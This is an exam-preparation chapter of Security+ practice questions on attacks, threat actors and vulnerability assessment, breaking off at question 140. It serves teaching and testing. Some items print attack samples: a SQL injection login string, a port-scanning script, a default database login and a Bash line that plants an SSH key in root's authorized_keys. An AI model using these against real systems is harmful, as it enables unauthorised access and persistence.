Chapter 1

Threats, Attacks, and Vulnerabilities

THE COMPTIA SECURITY+ EXAM SY0-601 TOPICS COVERED IN THIS CHAPTER INCLUDE THE FOLLOWING:

- ✓ **1.1 Compare and contrast different types of social engineering techniques**
- ✓ **1.2 Given a scenario, analyze potential indicators to determine the type of attack**
- ✓ **1.3 Given a scenario, analyze potential indicators associated with application attacks**
- ✓ **1.4 Given a scenario, analyze potential indicators associated with network attacks**
- ✓ **1.5 Explain different threat actors, vectors, and intelligence sources**
- ✓ **1.6 Explain the security concerns associated with various types of vulnerabilities**
- ✓ **1.7 Summarize the techniques used in security assessments**
- ✓ **1.8 Explain the techniques used in penetration testing**

1. Ahmed is a sales manager with a major insurance company. He has received an email that is encouraging him to click on a link and fill out a survey. He is suspicious of the email, but it does mention a major insurance association, and that makes him think it might be legitimate. Which of the following best describes this attack?
   - **A.** Phishing
   - **B.** Social engineering
   - **C.** Spear phishing
   - **D.** Trojan horse

2. You are a security administrator for a medium-sized bank. You have discovered a piece of software on your bank's database server that is not supposed to be there. It appears that the software will begin deleting database files if a specific employee is terminated. What best describes this?
   - **A.** Worm
   - **B.** Logic bomb
   - **C.** Trojan horse
   - **D.** Rootkit

3. You are responsible for incident response at Acme Bank. The Acme Bank website has been attacked. The attacker used the login screen, but rather than enter login credentials, they entered some odd text: `' or '1' = '1`. What is the best description for this attack?
   - **A.** Cross-site scripting
   - **B.** Cross-site request forgery
   - **C.** SQL injection
   - **D.** ARP poisoning

4. Users are complaining that they cannot connect to the wireless network. You discover that the WAPs are being subjected to a wireless attack designed to block their Wi-Fi signals. Which of the following is the best label for this attack?
   - **A.** IV attack
   - **B.** Jamming
   - **C.** WPS attack
   - **D.** Botnet

5. Frank is deeply concerned about attacks to his company's e-commerce server. He is particularly worried about cross-site scripting and SQL injection. Which of the following would best defend against these two specific attacks?
   - **A.** Encrypted web traffic
   - **B.** Input validation
   - **C.** A firewall
   - **D.** An IDS

6. You are responsible for network security at Acme Company. Users have been reporting that personal data is being stolen when using the wireless network. They all insist they only connect to the corporate wireless access point (AP). However, logs for the AP show that these users have not connected to it. Which of the following could best explain this situation?
   - **A.** Session hijacking
   - **B.** Clickjacking
   - **C.** Rogue access point
   - **D.** Bluejacking

7. What type of attack depends on the attacker entering JavaScript into a text area that is intended for users to enter text that will be viewed by other users?
   - **A.** SQL injection
   - **B.** Clickjacking
   - **C.** Cross-site scripting
   - **D.** Bluejacking

8. Rick wants to make offline brute-force attacks against his password file very difficult for attackers. Which of the following is not a common technique to make passwords harder to crack?
   - **A.** Use of a salt
   - **B.** Use of a pepper
   - **C.** Use of a purpose-built password hashing algorithm
   - **D.** Encrypting password plain text using symmetric encryption

9. What term is used to describe spam over Internet messaging services?
   - **A.** SPIM
   - **B.** SMSPAM
   - **C.** IMSPAM
   - **D.** TwoFaceTiming

10. Susan is analyzing the source code for an application and discovers a pointer de-reference and returns NULL. This causes the program to attempt to read from the NULL pointer and results in a segmentation fault. What impact could this have for the application?
    - **A.** A data breach
    - **B.** A denial-of-service condition
    - **C.** Permissions creep
    - **D.** Privilege escalation

11. Teresa is the security manager for a mid-sized insurance company. She receives a call from law enforcement, telling her that some computers on her network participated in a massive denial-of-service (DoS) attack. Teresa is certain that none of the employees at her company would be involved in a cybercrime. What would best explain this scenario?

A. It is a result of social engineering.

B. The machines all have backdoors.

C. The machines are bots.

D. The machines are infected with crypto-viruses.

12. Unusual outbound network traffic, geographical irregularities, and increases in database read volumes are all examples of what key element of threat intelligence?

A. Predictive analysis

B. OSINT

C. Indicators of compromise

D. Threat maps

13. Chris needs visibility into connection attempts through a firewall because he believes that a TCP handshake is not properly occurring. What security information and event management (SIEM) capability is best suited to troubleshooting this issue?

A. Reviewing reports

B. Packet capture

C. Sentiment analysis

D. Log collection and analysis

14. Chris wants to detect a potential insider threat using his security information and event management (SIEM) system. What capability best matches his needs?

A. Sentiment analysis

B. Log aggregation

C. Security monitoring

D. User behavior analysis

15. Chris has hundreds of systems spread across multiple locations and wants to better handle the amount of data that they create. What two technologies can help with this?

A. Log aggregation and log collectors

B. Packet capture and log aggregation

C. Security monitoring and log collectors

D. Sentiment analysis and user behavior analysis

16. What type of security team establishes the rules of engagement for a cybersecurity exercise?

A. Blue team

B. White team

C. Purple team

D. Red team

17. Cynthia is concerned about attacks against an application programming interface (API) that her company provides for its customers. What should she recommend to ensure that the API is only used by customers who have paid for the service?

A. Require authentication.

B. Install and configure a firewall.

C. Filter by IP address.

D. Install and use an IPS.

18. What type of attack is based on sending more data to a target variable than the data can actually hold?

A. Bluesnarfing

B. Buffer overflow

C. Bluejacking

D. Cross-site scripting

19. An email arrives telling Gurvinder that there is a limited time to act to get a software package for free and that the first 50 downloads will not have to be paid for. What social engineering principle is being used against him?

A. Scarcity

B. Intimidation

C. Authority

D. Consensus

20. You have been asked to test your company network for security issues. The specific test you are conducting involves primarily using automated and semiautomated tools to look for known vulnerabilities with the various systems on your network. Which of the following best describes this type of test?

A. Vulnerability scan

B. Penetration test

C. Security audit

D. Security test

21. Susan wants to reduce the likelihood of successful credential harvesting attacks via her organization's commercial websites. Which of the following is not a common prevention method aimed at stopping credential harvesting?

A. Use of multifactor authentication

B. User awareness training

C. Use of complex usernames

D. Limiting or preventing use of third-party web scripts and plugins

22. Greg wants to gain admission to a network which is protected by a network access control (NAC) system that recognized the hardware address of systems. How can he bypass this protection?

A. Spoof a legitimate IP address.

B. Conduct a denial-of-service attack against the NAC system.

C. Use MAC cloning to clone a legitimate MAC address.

D. None of the above

23. Coleen is the web security administrator for an online auction website. A small number of users are complaining that when they visit the website it does not appear to be the correct site. Coleen checks and she can visit the site without any problem, even from computers outside the network. She also checks the web server log and there is no record of those users ever connecting. Which of the following might best explain this?

A. Typo squatting

B. SQL injection

C. Cross-site scripting

D. Cross-site request forgery

24. The organization that Mike works in finds that one of their domains is directing traffic to a competitor's website. When Mike checks, the domain information has been changed, including the contact and other administrative details for the domain. If the domain had not expired, what has most likely occurred?

A. DNS hijacking

B. An on-path attack

C. Domain hijacking

D. A zero-day attack

25. Mahmoud is responsible for managing security at a large university. He has just performed a threat analysis for the network, and based on past incidents and studies of similar networks, he has determined that the most prevalent threat to his network is low-skilled attackers who wish to breach the system, simply to prove they can or for some low-level crime, such as changing a grade. Which term best describes this type of attacker?

A. Hacktivist

B. Amateur

C. Insider

D. Script kiddie

26. How is phishing different from general spam?

A. It is sent only to specific targeted individuals.

B. It is intended to acquire credentials or other data.

C. It is sent via SMS.

D. It includes malware in the message.

27. Which of the following best describes a collection of computers that have been compromised and are being controlled from one central point?

A. Zombienet

B. Botnet

C. Nullnet

D. Attacknet

28. Selah includes a question in her procurement request-for-proposal process that asks how long the vendor has been in business and how many existing clients the vendor has. What common issue is this practice intended to help prevent?

A. Supply chain security issues

B. Lack of vendor support

C. Outsourced code development issues

D. System integration problems

29. John is conducting a penetration test of a client's network. He is currently gathering information from sources such as `archive.org`, `netcraft.com`, social media, and information websites. What best describes this stage?

A. Active reconnaissance

B. Passive reconnaissance

C. Initial exploitation

D. Pivot

30. Alice wants to prevent SSRF attacks. Which of the following will not be helpful for preventing them?

A. Removing all SQL code from submitted HTTP queries

B. Blocking hostnames like 127.0.01 and localhost

C. Blocking sensitive URLs like /admin

D. Applying whitelist-based input filters

31. What type of attack is based on entering fake entries into a target network's domain name server?

A. DNS poisoning

B. ARP poisoning

C. XSS poisoning

D. CSRF poisoning

32. Frank has been asked to conduct a penetration test of a small bookkeeping firm. For the test, he has only been given the company name, the domain name for their website, and the IP address of their gateway router. What best describes this type of test?

A. A known environment test

B. External test

C. An unknown environment test

D. Threat test

33. You work for a security company that performs penetration testing for clients. You are conducting a test of an e-commerce company. You discover that after compromising the web server, you can use the web server to launch a second attack into the company's internal network. What best describes this?

A. Internal attack

B. Known environment testing

C. Unknown environment testing

D. A pivot

34. While investigating a malware outbreak on your company network, you discover something very odd. There is a file that has the same name as a Windows system DLL, and it even has the same API interface, but it handles input very differently, in a manner to help compromise the system, and it appears that applications have been attaching to this file, rather than the real system DLL. What best describes this?

A. Shimming

B. Trojan horse

C. Backdoor

D. Refactoring

35. Which of the following capabilities is not a key part of a SOAR (security orchestration, automation, and response) tool?

A. Threat and vulnerability management

B. Security incident response

C. Automated malware analysis

D. Security operations automation

36. John discovers that email from his company's email servers is being blocked because of spam that was sent from a compromised account. What type of lookup can he use to determine what vendors like McAfee and Barracuda have classified his domain as?

A. An nslookup

B. A tcpdump

C. A domain reputation lookup

D. A SMTP whois

37. Frank is a network administrator for a small college. He discovers that several machines on his network are infected with malware. That malware is sending a flood of packets to a target external to the network. What best describes this attack?

A. SYN flood

B. DDoS

C. Botnet

D. Backdoor

38. Why is SSL stripping a particular danger with open Wi-Fi networks?

A. WPA2 is not secure enough to prevent this.

B. Open hotspots do not assert their identity in a secure way.

C. Open hotspots can be accessed by any user.

D. 802.11ac is insecure and traffic can be redirected.

39. A sales manager at your company is complaining about slow performance on his computer. When you thoroughly investigate the issue, you find spyware on his computer. He insists that the only thing he has downloaded recently was a freeware stock trading application. What would best explain this situation?

A. Logic bomb

B. Trojan horse

C. Rootkit

D. Macro virus

40. When phishing attacks are so focused that they target a specific high-ranking or important individual, they are called what?

A. Spear phishing

B. Targeted phishing

C. Phishing

D. Whaling

41. What type of threat actors are most likely to have a profit motive for their malicious activities?

A. State actors

B. Script kiddies

C. Hacktivists

D. Criminal syndicates

42. One of your users cannot recall the password for their laptop. You want to recover that password for them. You intend to use a tool/technique that is popular with hackers, and it consists of searching tables of precomputed hashes to recover the password. What best describes this?

A. Rainbow table

B. Backdoor

C. Social engineering

D. Dictionary attack

43. What risk is commonly associated with a lack of vendor support for a product, such as an outdated version of a device?

A. Improper data storage

B. Lack of patches or updates

C. Lack of available documentation

D. System integration and configuration issues

44. You have noticed that when in a crowded area, you sometimes get a stream of unwanted text messages. The messages end when you leave the area. What describes this attack?

A. Bluejacking

B. Bluesnarfing

C. Evil twin

D. Rogue access point

45. Dennis uses an on-path attack to cause a system to send HTTPS traffic to his system and then forwards it to the actual server the traffic is intended for. What type of password attack can he conduct with the data he gathers if he captures all the traffic from a login form?

A. A plain-text password attack

B. A pass-the-hash attack

C. A SQL injection attack

D. A cross-site scripting attack

46. Someone has been rummaging through your company's trash bins seeking to find documents, diagrams, or other sensitive information that has been thrown out. What is this called?

A. Dumpster diving

B. Trash diving

C. Social engineering

D. Trash engineering

47. Louis is investigating a malware incident on one of the computers on his network. He has discovered unknown software that seems to be opening a port, allowing someone to remotely connect to the computer. This software seems to have been installed at the same time as a small shareware application. Which of the following best describes this malware?

A. RAT

B. Worm

C. Logic bomb

D. Rootkit

48. Jared is responsible for network security at his company. He has discovered behavior on one computer that certainly appears to be a virus. He has even identified a file he thinks might be the virus. However, using three separate antivirus programs, he finds that none can detect the file. Which of the following is most likely to be occurring?

A. The computer has a RAT.

B. The computer has a zero-day exploit.

C. The computer has a worm.

D. The computer has a rootkit.

49. Which of the following is not a common means of attacking RFID badges?

- **A.** Data capture
- **B.** Spoofing
- **C.** Denial-of-service
- **D.** Birthday attacks

50. Your wireless network has been breached. It appears the attacker modified a portion of data used with the stream cipher and used this to expose wirelessly encrypted data. What is this attack called?

- **A.** Evil twin
- **B.** Rogue WAP
- **C.** IV attack
- **D.** WPS attack

51. The company that Scott works for has experienced a data breach, and the personal information of thousands of customers has been exposed. Which of the following impact categories is not a concern as described in this scenario?

- **A.** Financial
- **B.** Reputation
- **C.** Availability loss
- **D.** Data loss

52. What type of attack exploits the trust that a website has for an authenticated user to attack that website by spoofing requests from the trusted user?

- **A.** Cross-site scripting
- **B.** Cross-site request forgery
- **C.** Bluejacking
- **D.** Evil twin

53. What purpose does a fusion center serve in cyberintelligence activities?

- **A.** It promotes information sharing between agencies or organizations.
- **B.** It combines security technologies to create new, more powerful tools.
- **C.** It generates power for the local community in a secure way.
- **D.** It separates information by classification ratings to avoid accidental distribution.

54. CVE is an example of what type of feed?

- **A.** A threat intelligence feed
- **B.** A vulnerability feed
- **C.** A critical infrastructure listing feed
- **D.** A critical virtualization exploits feed

55. What type of attack is a birthday attack?

A. A social engineering attack

B. A cryptographic attack

C. A network denial-of-service attack

D. A TCP/IP protocol attack

56. Juanita is a network administrator for Acme Company. Some users complain that they keep getting dropped from the network. When Juanita checks the logs for the wireless access point (WAP), she finds that a deauthentication packet has been sent to the WAP from the users' IP addresses. What seems to be happening here?

A. Problem with users' Wi-Fi configuration

B. Disassociation attack

C. Session hijacking

D. Backdoor attack

57. John has discovered that an attacker is trying to get network passwords by using software that attempts a number of passwords from a list of common passwords. What type of attack is this?

A. Dictionary

B. Rainbow table

C. Brute force

D. Session hijacking

58. You are a network security administrator for a bank. You discover that an attacker has exploited a flaw in OpenSSL and forced some connections to move to a weak cipher suite version of TLS, which the attacker could breach. What type of attack was this?

A. Disassociation attack

B. Downgrade attack

C. Session hijacking

D. Brute force

59. When an attacker tries to find an input value that will produce the same hash as a password, what type of attack is this?

A. Rainbow table

B. Brute force

C. Session hijacking

D. Collision attack

60. Farès is the network security administrator for a company that creates advanced routers and switches. He has discovered that his company's networks have been subjected to a series of advanced attacks over a period of time. What best describes this attack?

A. DDoS

B. Brute force

C. APT

D. Disassociation attack

61. What type of information is phishing not commonly intended to acquire?

A. Passwords

B. Email addresses

C. Credit card numbers

D. Personal information

62. John is running an IDS on his network. Users sometimes report that the IDS flags legitimate traffic as an attack. What describes this?

A. False positive

B. False negative

C. False trigger

D. False flag

63. Scott discovers that malware has been installed on one of the systems he is responsible for. Shortly afterward passwords used by the user that the system is assigned to are discovered to be in use by attackers. What type of malicious program should Scott look for on the compromised system?

A. A rootkit

B. A keylogger

C. A worm

D. None of the above

64. You are performing a penetration test of your company's network. As part of the test, you will be given a login with minimal access and will attempt to gain administrative access with this account. What is this called?

A. Privilege escalation

B. Session hijacking

C. Root grabbing

D. Climbing

65. Matt discovers that a system on his network is sending hundreds of Ethernet frames to the switch it is connected to, with each frame containing a different source MAC address. What type of attack has he discovered?

A. Etherspam

B. MAC flooding

C. Hardware spoofing

D. MAC hashing

66. Spyware is an example of what type of malware?

A. Trojan

B. PUP

C. RAT

D. Ransomware

67. Mary has discovered that a web application used by her company does not always handle multithreading properly, particularly when multiple threads access the same variable. This could allow an attacker who discovered this vulnerability to exploit it and crash the server. What type of error has Mary discovered?

A. Buffer overflow

B. Logic bomb

C. Race conditions

D. Improper error handling

68. An attacker is trying to get access to your network. He is sending users on your network a link to a new game with a hacked license code program. However, the game files also include software that will give the attacker access to any machine that it is installed on. What type of attack is this?

A. Rootkit

B. Trojan horse

C. Spyware

D. Boot sector virus

69. The following image shows a report from an OpenVAS system. What type of weak configuration is shown here?

Result: PostgreSQL weak password

ID: 85eb5df3-c1aa-45e0-80fc-23679395671b
Created: Mon Apr 27 00:10:25 2020
Modified: Mon Apr 27 00:10:25 2020
Owner: securityplus

Vulnerability	Severity	QoD	Host	Location	Actions
PostgreSQL weak password	9.0 (High)	99%	10.0.2.4	5432/tcp	

Summary
It was possible to login into the remote PostgreSQL as user postgres using weak credentials.

Vulnerability Detection Result

It was possible to login as user postgres with password "postgres".

Solution
Solution type: Mitigation

Change the password as soon as possible.

Vulnerability Detection Method
Details: PostgreSQL weak password (OID: 1.3.6.1.4.1.25623.1.0.103552)

Version used: 2020-01-28T13:26:39+0000

A. Weak encryption

B. Unsecured administrative accounts

C. Open ports and services

D. Unsecure protocols

70. While conducting a penetration test, Annie scans for systems on the network she has gained access to. She discovers another system within the same network that has the same accounts and user types as the one she is on. Since she already has a valid user account on the system she has already accessed, she is able to log in to it. What type of technique is this?

A. Lateral movement

B. Privilege escalation

C. Privilege retention

D. Vertical movement

71. Amanda scans a Red Hat Linux server that she believes is fully patched and discovers that the Apache version on the server is reported as vulnerable to an exploit from a few months ago. When she checks to see if she is missing patches, Apache is fully patched. What has occurred?

A. A false positive

B. An automatic update failure

C. A false negative

D. An Apache version mismatch

72. When a program has variables, especially arrays, and does not check the boundary values before inputting data, what attack is the program vulnerable to?

A. XSS

B. CSRF

C. Buffer overflow

D. Logic bomb

73. Tracy is concerned that the software she wants to download may not be trustworthy, so she searches for it and finds many postings claiming that the software is legitimate. If she installs the software and later discovers it is malicious and that malicious actors have planted those reviews, what principle of social engineering have they used?

A. Scarcity

B. Familiarity

C. Consensus

D. Trust

74. Which of the following best describes malware that will execute some malicious activity when a particular condition is met (i.e., if the condition is met, then executed)?

A. Boot sector virus

B. Logic bomb

C. Buffer overflow

D. Sparse infector virus

75. What term describes using conversational tactics as part of a social engineering exercise to extract information from targets?

A. Pretexting

B. Elicitation

C. Impersonation

D. Intimidation

76. Telnet, RSH, and FTP are all examples of what?

A. File transfer protocols

B. Unsecure protocols

C. Core protocols

D. Open ports

77. Scott wants to determine where an organization's wireless network can be accessed from. What testing techniques are his most likely options?

A. OSINT and active scans

B. War driving and war flying

C. Social engineering and active scans

D. OSINT and war driving

78. Gerald is a network administrator for a small financial services company. Users are reporting odd behavior that appears to be caused by a virus on their machines. After isolating the machines that he believes are infected, Gerald analyzes them. He finds that all the infected machines received an email purporting to be from accounting, with an Excel spreadsheet, and the users opened the spreadsheet. What is the most likely issue on these machines?

A. A macro virus

B. A boot sector virus

C. A Trojan horse

D. A RAT

79. Your company has hired an outside security firm to perform various tests of your network. During the vulnerability scan, you will provide that company with logins for various systems (i.e., database server, application server, web server, etc.) to aid in their scan. What best describes this?

A. A known environment test

B. A gray-box test

C. A credentialed scan

D. An intrusive scan

80. Steve discovers the following code on a system. What language is it written in, and what does it do?

```
import socket as skt
for port in range (1,9999):
       try:
       sc=skt.socket(askt.AF_INET,skt.SOCK_STREAM)
       sc.settimeout(900)
       sc.connect(('127.0.0.1,port))
       print '%d:OPEN' % (port)
       sc.close
except: continue
```

A. Perl, vulnerability scanning

B. Python, port scanning

C. Bash, vulnerability scanning

D. PowerShell, port scanning

81. Which of the following is commonly used in a distributed denial-of-service (DDoS) attack?

A. Phishing

B. Adware

C. Botnet

D. Trojan

82. Amanda discovers that a member of her organization's staff has installed a remote access Trojan on their accounting software server and has been accessing it remotely. What type of threat has she discovered?

A. Zero-day

B. Insider threat

C. Misconfiguration

D. Weak encryption

83. Postings from Russian agents during the 2016 U.S. presidential campaign to Facebook and Twitter are an example of what type of effort?

A. Impersonation

B. A social media influence campaign

C. Asymmetric warfare

D. A watering hole attack

84. Juan is responsible for incident response at a large financial institution. He discovers that the company Wi-Fi has been breached. The attacker used the same login credentials that ship with the wireless access point (WAP). The attacker was able to use those credentials to access the WAP administrative console and make changes. Which of the following best describes what caused this vulnerability to exist?

A. Improperly configured accounts

B. Untrained users

C. Using default settings

D. Failure to patch systems

85. Elizabeth is investigating a network breach at her company. She discovers a program that was able to execute code within the address space of another process by using the target process to load a specific library. What best describes this attack?

A. Logic bomb

B. Session hijacking

C. Buffer overflow

D. DLL injection

86. Which of the following threat actors is most likely to be associated with an advanced persistent threat (APT)?

A. Hacktivists

B. State actors

C. Script kiddies

D. Insider threats

87. What is the primary difference between an intrusive and a nonintrusive vulnerability scan?

A. An intrusive scan is a penetration test.

B. A nonintrusive scan is just a document check.

C. An intrusive scan could potentially disrupt operations.

D. A nonintrusive scan won't find most vulnerabilities.

88. Your company outsourced development of an accounting application to a local programming firm. After three months of using the product, one of your administrators discovers that the developers have inserted a way to log in and bypass all security and authentication. What best describes this?

A. Logic bomb

B. Trojan horse

C. Backdoor

D. Rootkit

89. Daryl is investigating a recent breach of his company's web server. The attacker used sophisticated techniques and then defaced the website, leaving messages that were denouncing the company's public policies. He and his team are trying to determine the type of actor who most likely committed the breach. Based on the information provided, who was the most likely threat actor?

A. A script

B. A nation-state

C. Organized crime

D. Hacktivists

90. What two techniques are most commonly associated with a pharming attack?

A. Modifying the hosts file on a PC or exploiting a DNS vulnerability on a trusted DNS server

B. Phishing many users and harvesting email addresses from them

C. Phishing many users and harvesting many passwords from them

D. Spoofing DNS server IP addresses or modifying the hosts file on a PC

91. Angela reviews the authentication logs for her website and sees attempts from many different accounts using the same set of passwords. What is this attack technique called?

A. Brute forcing

B. Password spraying

C. Limited login attacks

D. Account spinning

92. When investigating breaches and attempting to attribute them to specific threat actors, which of the following is not one of the indicators of an APT?

A. Long-term access to the target

B. Sophisticated attacks

C. The attack comes from a foreign IP address.

D. The attack is sustained over time.

93. Charles discovers that an attacker has used a vulnerability in a web application that his company runs and has then used that exploit to obtain root privileges on the web server. What type of attack has he discovered?

A. Cross-site scripting

B. Privilege escalation

C. A SQL injection

D. A race condition

94. What type of attack uses a second wireless access point (WAP) that broadcasts the same SSID as a legitimate access point, in an attempt to get users to connect to the attacker's WAP?

A. Evil twin

B. IP spoofing

C. Trojan horse

D. Privilege escalation

95. Which of the following best describes a zero-day vulnerability?

A. A vulnerability that the vendor is not yet aware of

B. A vulnerability that has not yet been breached

C. A vulnerability that can be quickly exploited (i.e., in zero days)

D. A vulnerability that will give the attacker brief access (i.e., zero days)

96. What type of attack involves adding an expression or phrase such as adding "SAFE" to mail headers?

A. Pretexting

B. Phishing

C. SQL injection

D. Prepending

97. Charles wants to ensure that his outsourced code development efforts are as secure as possible. Which of the following is not a common practice to ensure secure remote code development?

A. Ensure developers are trained on secure coding techniques.

B. Set defined acceptance criteria for code security.

C. Test code using automated and manual security testing systems.

D. Audit all underlying libraries used in the code.

98. You have discovered that there are entries in your network's domain name server that point legitimate domains to unknown and potentially harmful IP addresses. What best describes this type of attack?

A. A backdoor

B. An APT

C. DNS poisoning

D. A Trojan horse

99. Spyware is an example of what type of malicious software?

A. A CAT

B. A worm

C. A PUP

D. A Trojan

100. What best describes an attack that attaches some malware to a legitimate program so that when the user installs the legitimate program, they inadvertently install the malware?

A. Backdoor

B. Trojan horse

C. RAT

D. Polymorphic virus

101. Which of the following best describes software that will provide the attacker with remote access to the victim's machine but that is wrapped with a legitimate program in an attempt to trick the victim into installing it?

A. RAT

B. Backdoor

C. Trojan horse

D. Macro virus

102. What process typically occurs before card cloning attacks occur?

A. A brute-force attack

B. A skimming attack

C. A rainbow table attack

D. A birthday attack

103. Which of the following is an attack that seeks to attack a website, based on the website's trust of an authenticated user?

A. XSS

B. XSRF

C. Buffer overflow

D. RAT

104. Valerie is responsible for security testing applications in her company. She has discovered that a web application, under certain conditions, can generate a memory leak. What type of attack would this leave the application vulnerable to?

A. DoS

B. Backdoor

C. SQL injection

D. Buffer overflow

105. The mobile game that Jack has spent the last year developing has been released, and malicious actors are sending traffic to the server that runs it to prevent it from competing with other games in the App Store. What type of denial-of-service attack is this?

A. A network DDoS

B. An operational technology DDoS

C. A GDoS

D. An application DDoS

106. Charles has been tasked with building a team that combines techniques from attackers and defenders to help protect his organization. What type of team is he building?

A. A red team

B. A blue team

C. A white team

D. A purple team

107. Mike is a network administrator with a small financial services company. He has received a pop-up window that states his files are now encrypted and he must pay .5 bitcoins to get them decrypted. He tries to check the files in question, but their extensions have changed, and he cannot open them. What best describes this situation?

A. Mike's machine has a rootkit.

B. Mike's machine has ransomware.

C. Mike's machine has a logic bomb.

D. Mike's machine has been the target of whaling.

108. When a multithreaded application does not properly handle various threads accessing a common value, and one thread can change the data while another thread is relying on it, what flaw is this?

A. Memory leak

B. Buffer overflow

C. Integer overflow

D. Time of check/time of use

109. Acme Company is using smartcards that use near-field communication (NFC) rather than needing to be swiped. This is meant to make physical access to secure areas more secure. What vulnerability might this also create?

A. Tailgating

B. Eavesdropping

C. IP spoofing

D. Race conditions

110. Rick believes that Windows systems in his organization are being targeted by fileless viruses. If he wants to capture artifacts of their infection process, which of the following options is most likely to provide him with a view into what they are doing?

A. Reviewing full-disk images of infected machines

B. Turning on PowerShell logging

C. Disabling the administrative user account

D. Analyzing Windows crash dump files

111. John is responsible for physical security at a large manufacturing plant. Employees all use a smartcard in order to open the front door and enter the facility. Which of the following is a common way attackers would circumvent this system?

A. Phishing

B. Tailgating

C. Spoofing the smartcard

D. RFID spoofing

112. Adam wants to download lists of malicious or untrustworthy IP addresses and domains using STIX and TAXII. What type of service is he looking for?

A. A vulnerability feed

B. A threat feed

C. A hunting feed

D. A rule feed

113. During an incident investigation, Naomi notices that a second keyboard was plugged into a system in a public area of her company's building. Shortly after that event, the system was infected with malware, resulting in a data breach. What should Naomi look for in her in-person investigation?

A. A Trojan horse download

B. A malicious USB cable or drive

C. A worm

D. None of the above

114. You are responsible for incident response at Acme Corporation. You have discovered that someone has been able to circumvent the Windows authentication process for a specific network application. It appears that the attacker took the stored hash of the password and sent it directly to the backend authentication service, bypassing the application. What type of attack is this?

A. Hash spoofing

B. Evil twin

C. Shimming

D. Pass the hash

115. A user in your company reports that she received a call from someone claiming to be from the company technical support team. The caller stated that there was a virus spreading through the company and they needed immediate access to the employee's computer to stop it from being infected. What social-engineering principles did the caller use to try to trick the employee?

A. Urgency and intimidation

B. Urgency and authority

C. Authority and trust

D. Intimidation and authority

116. After running a vulnerability scan, Elaine discovers that the Windows 10 workstations in her company's warehouse are vulnerable to multiple known Windows exploits. What should she identify as the root cause in her report to management?

A. Unsupported operating systems

B. Improper or weak patch management for the operating systems

C. Improper or weak patch management for the firmware of the systems

D. Use of unsecure protocols

117. Ahmed has discovered that attackers spoofed IP addresses to cause them to resolve to a different hardware address. The manipulation has changed the tables maintained by the default gateway for the local network, causing data destined for one specific MAC address to now be routed elsewhere. What type of attack is this?

A. ARP poisoning

B. DNS poisoning

C. On-path attack

D. Backdoor

118. What type of penetration test is being done when the tester is given extensive knowledge of the target network?

A. Known environment

B. Full disclosure

C. Unknown environment

D. Red team

119. Your company is instituting a new security awareness program. You are responsible for educating end users on a variety of threats, including social engineering. Which of the following best defines social engineering?

A. Illegal copying of software

B. Gathering information from discarded manuals and printouts

C. Using people skills to obtain proprietary information

D. Phishing emails

120. Which of the following attacks can be caused by a user being unaware of their physical surroundings?

A. ARP poisoning

B. Phishing

C. Shoulder surfing

D. Smurf attack

121. What are the two most common goals of invoice scams?

A. Receiving money or acquiring credentials

B. Acquiring credentials or delivering a rootkit

C. Receiving money or stealing cryptocurrency

D. Acquiring credentials or delivering ransomware

122. Which of the following type of testing uses an automated process of proactively identifying vulnerabilities of the computing systems present on a network?

A. Security audit

B. Vulnerability scanning

C. A known environment test

D. An unknown environment test

123. John has been asked to do a penetration test of a company. He has been given general information but no details about the network. What kind of test is this?

A. Partially known environment

B. Known environment

C. Unknown environment

D. Masked

124. Under which type of attack does an attacker's system appear to be the server to the real client and appear to be the client to the real server?

A. Denial-of-service

B. Replay

C. Eavesdropping

D. On-path

125. You are a security administrator for Acme Corporation. You have discovered malware on some of your company's machines. This malware seems to intercept calls from the web browser to libraries, and then manipulates the browser calls. What type of attack is this?

A. Man in the browser

B. On-path attack

C. Buffer overflow

D. Session hijacking

126. Tony is reviewing a web application and discovers the website generates links like the following:

```
https://www.example.com/login.html?Relay=http%3A%2F%2Fexample.com%2Fsite
.html
```

What type of vulnerability is this code most likely to be susceptible to?

A. SQL injection

B. URL redirection

C. DNS poisoning

D. LDAP injection

127. You are responsible for software testing at Acme Corporation. You want to check all software for bugs that might be used by an attacker to gain entrance into the software or your network. You have discovered a web application that would allow a user to attempt to put a 64-bit value into a 4-byte integer variable. What is this type of flaw?

A. Memory overflow

B. Buffer overflow

C. Variable overflow

D. Integer overflow

128. Angela has discovered an attack against some of the users of her website that leverage URL parameters and cookies to make legitimate users perform unwanted actions. What type of attack has she most likely discovered?

A. SQL injection

B. Cross-site request forgery

C. LDAP injection

D. Cross-site scripting

129. Nathan discovers the following code in the directory of a compromised user. What language is it using, and what will it do?

```
echo "ssh-rsa ABBAB4KAE9sdafAK...Mq/jc5YLfnAnbFDRABMhuWzaWUp
root@localhost" >> /root/.ssh/authorized_keys
```

A. Python, adds an authorized SSH key

B. Bash, connects to another system using an SSH key

C. Python, connects to another system using an SSH key

D. Bash, adds an authorized SSH key

130. Jared has discovered malware on the workstations of several users. This particular malware provides administrative privileges for the workstation to an external hacker. What best describes this malware?

A. Trojan horse

B. Logic bomb

C. Multipartite virus

D. Rootkit

131. Why are memory leaks a potential security issue?

A. They can expose sensitive data.

B. They can allow attackers to inject code via the leak.

C. They can cause crashes

D. None of the above

132. Michelle discovers that a number of systems throughout her organization are connecting to a changing set of remote systems on TCP port 6667. What is the most likely cause of this, if she believes the traffic is not legitimate?

A. An alternate service port for web traffic

B. Botnet command and control via IRC

C. Downloads via a peer-to-peer network

D. Remote access Trojans

133. Susan performs a vulnerability scan of a small business network and discovers that the organization's consumer-grade wireless router has a vulnerability in its web server. What issue should she address in her findings?

A. Firmware patch management

B. Default configuration issues

C. An unsecured administrative account

D. Weak encryption settings

134. Where is an RFID attack most likely to occur as part of a penetration test?

A. System authentication

B. Access badges

C. Web application access

D. VPN logins

135. What type of phishing attack occurs via text messages?

A. Bluejacking

B. Smishing

C. Phonejacking

D. Text whaling

136. Users in your company report someone has been calling their extension and claiming to be doing a survey for a large vendor. Based on the questions asked in the survey, you suspect that this is a scam to elicit information from your company's employees. What best describes this?

A. Spear phishing

B. Vishing

C. War dialing

D. Robocalling

137. John is analyzing a recent malware infection on his company network. He discovers malware that can spread rapidly via vulnerable network services and does not require any interaction from the user. What best describes this malware?

A. Worm

B. Virus

C. Logic bomb

D. Trojan horse

138. Your company has issued some new security directives. One of these new directives is that all documents must be shredded before being thrown out. What type of attack is this trying to prevent?

A. Phishing

B. Dumpster diving

C. Shoulder surfing

D. On-path attack

139. Which of the following is not a common part of a cleanup process after a penetration test?

A. Removing all executables and scripts from the compromised system

B. Restoring all rootkits to their original settings on the system

C. Returning all system settings and application configurations to their original configurations

D. Removing any user accounts created during the penetration test

140. You have discovered that someone has been trying to log on to your web server. The person has tried a wide range of likely passwords. What type of attack is this?

A. Rainbow table

B. Birthday attack

